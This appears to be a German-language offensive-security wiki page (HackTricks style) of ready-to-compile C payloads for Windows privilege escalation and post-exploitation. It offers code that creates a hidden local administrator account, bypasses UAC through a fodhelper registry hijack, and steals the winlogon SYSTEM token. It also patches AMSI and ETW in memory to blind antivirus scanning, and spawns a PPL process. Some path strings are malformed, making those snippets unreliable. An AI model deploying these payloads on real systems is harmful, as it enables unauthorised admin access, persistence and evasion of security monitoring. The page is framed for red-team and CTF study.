206 lines
7.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Windows C Payloads
{{#include ../../banners/hacktricks-training.md}}
Diese Seite sammelt **kleine, eigenständige C-Snippets**, die bei Windows Local Privilege Escalation oder post-exploitation nützlich sind. Jeder Payload ist so ausgelegt, dass er **copy-paste friendly** ist, benötigt nur die Windows API / C runtime und kann mit `i686-w64-mingw32-gcc` (x86) oder `x86_64-w64-mingw32-gcc` (x64) kompiliert werden.
> ⚠️ Diese Payloads setzen voraus, dass der Prozess bereits über die minimalen Berechtigungen verfügt, die erforderlich sind, um die Aktion auszuführen (z. B. `SeDebugPrivilege`, `SeImpersonatePrivilege`, oder ein medium-integrity context für einen UAC bypass). Sie sind für **red-team or CTF settings** gedacht, in denen das Ausnutzen einer Verwundbarkeit arbitrary native code execution ermöglicht hat.
---
## Lokalen Administrator-Benutzer hinzufügen
```c
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
#include <stdlib.h>
int main(void) {
system("net user hacker Hacker123! /add");
system("net localgroup administrators hacker /add");
return 0;
}
```
---
## UAC Bypass `fodhelper.exe` Registry Hijack (Medium → High integrity)
Wenn das vertrauenswürdige Binary **`fodhelper.exe`** ausgeführt wird, fragt es den untenstehenden Registrierungspfad ab **ohne das `DelegateExecute`-Verb zu filtern**. Durch Platzieren unseres Befehls unter diesem Schlüssel kann ein Angreifer UAC umgehen *ohne* eine Datei auf die Festplatte zu schreiben.
*Von `fodhelper.exe` abgefragter Registrierungspfad*
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
Ein minimales PoC, das eine `cmd.exe` mit erhöhten Rechten startet:
```c
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(void) {
HKEY hKey;
const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
// 1. Create the vulnerable registry key
if (RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
// 2. Set default value => our payload
RegSetValueExA(hKey, NULL, 0, REG_SZ,
(const BYTE*)payload, (DWORD)strlen(payload) + 1);
// 3. Empty "DelegateExecute" value = trigger (")
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
(const BYTE*)"", 1);
RegCloseKey(hKey);
// 4. Launch auto-elevated binary
system("fodhelper.exe");
}
return 0;
}
```
*Getestet auf Windows 10 22H2 und Windows 11 23H2 (Patches vom Juli 2025). Der Bypass funktioniert weiterhin, da Microsoft die fehlende Integritätsprüfung im `DelegateExecute`-Pfad nicht behoben hat.*
---
## SYSTEM-Shell durch token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Wenn der aktuelle Prozess **beide** Privilegien `SeDebug` und `SeImpersonate` besitzt (typisch für viele Dienstkonten), können Sie das Token von `winlogon.exe` stehlen, es duplizieren und einen erhöhten Prozess starten:
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
DWORD FindPid(const wchar_t *name) {
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
if (!Process32FirstW(snap, &pe)) return 0;
do {
if (!_wcsicmp(pe.szExeFile, name)) {
DWORD pid = pe.th32ProcessID;
CloseHandle(snap);
return pid;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return 0;
}
int wmain(void) {
DWORD pid = FindPid(L"winlogon.exe");
if (!pid) return 1;
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
HANDLE hToken = NULL, dupToken = NULL;
if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
if (hProc) CloseHandle(hProc);
if (hToken) CloseHandle(hToken);
if (dupToken) CloseHandle(dupToken);
return 0;
}
```
Für eine tiefere Erklärung, wie das funktioniert, siehe:
{{#ref}}
sedebug-+-seimpersonate-copy-token.md
{{#endref}}
---
## In-Memory AMSI & ETW Patch (Defence Evasion)
Die meisten modernen AV/EDR-Engines verlassen sich auf **AMSI** und **ETW**, um bösartiges Verhalten zu prüfen. Das frühzeitige Patchen beider Schnittstellen innerhalb des aktuellen Prozesses verhindert, dass skriptbasierte Payloads (z. B. PowerShell, JScript) gescannt werden.
```c
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
void Patch(BYTE *address) {
DWORD oldProt;
// mov eax, 0x80070057 ; ret (AMSI_RESULT_E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(address, patch, sizeof(patch));
VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
}
int main(void) {
HMODULE amsi = LoadLibraryA("amsi.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (amsi) Patch((BYTE*)GetProcAddress(amsi, "AmsiScanBuffer"));
if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
```
*Der obige Patch ist prozesslokal; das Starten einer neuen PowerShell nach dessen Ausführung wird ohne AMSI/ETW-Inspektion ausgeführt.*
---
## Kindprozess als Protected Process Light (PPL) erstellen
Fordere ein PPL-Schutzlevel für einen Kindprozess zur Erstellungszeit an, indem du `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL` verwendest. Dies ist eine dokumentierte API und wird nur erfolgreich sein, wenn das Ziel-Image für die angeforderte Signer-Klasse (Windows/WindowsLight/Antimalware/LSA/WinTcb) signiert ist.
```c
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>
int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);
if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
```
Am häufigsten verwendete Levels:
- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2)
- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3)
- `PROTECTION_LEVEL_LSA_LIGHT` (4)
Überprüfe das Ergebnis mit Process Explorer/Process Hacker, indem du die Spalte "Protection" kontrollierst.
---
## Referenzen
* Ron Bowes “Fodhelper UAC Bypass Deep Dive” (2024)
* SplinterCode “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
* CreateProcessAsPPL minimaler PPL-Prozessstarter: https://github.com/2x7EQ13/CreateProcessAsPPL
* Microsoft Docs STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute
{{#include ../../banners/hacktricks-training.md}}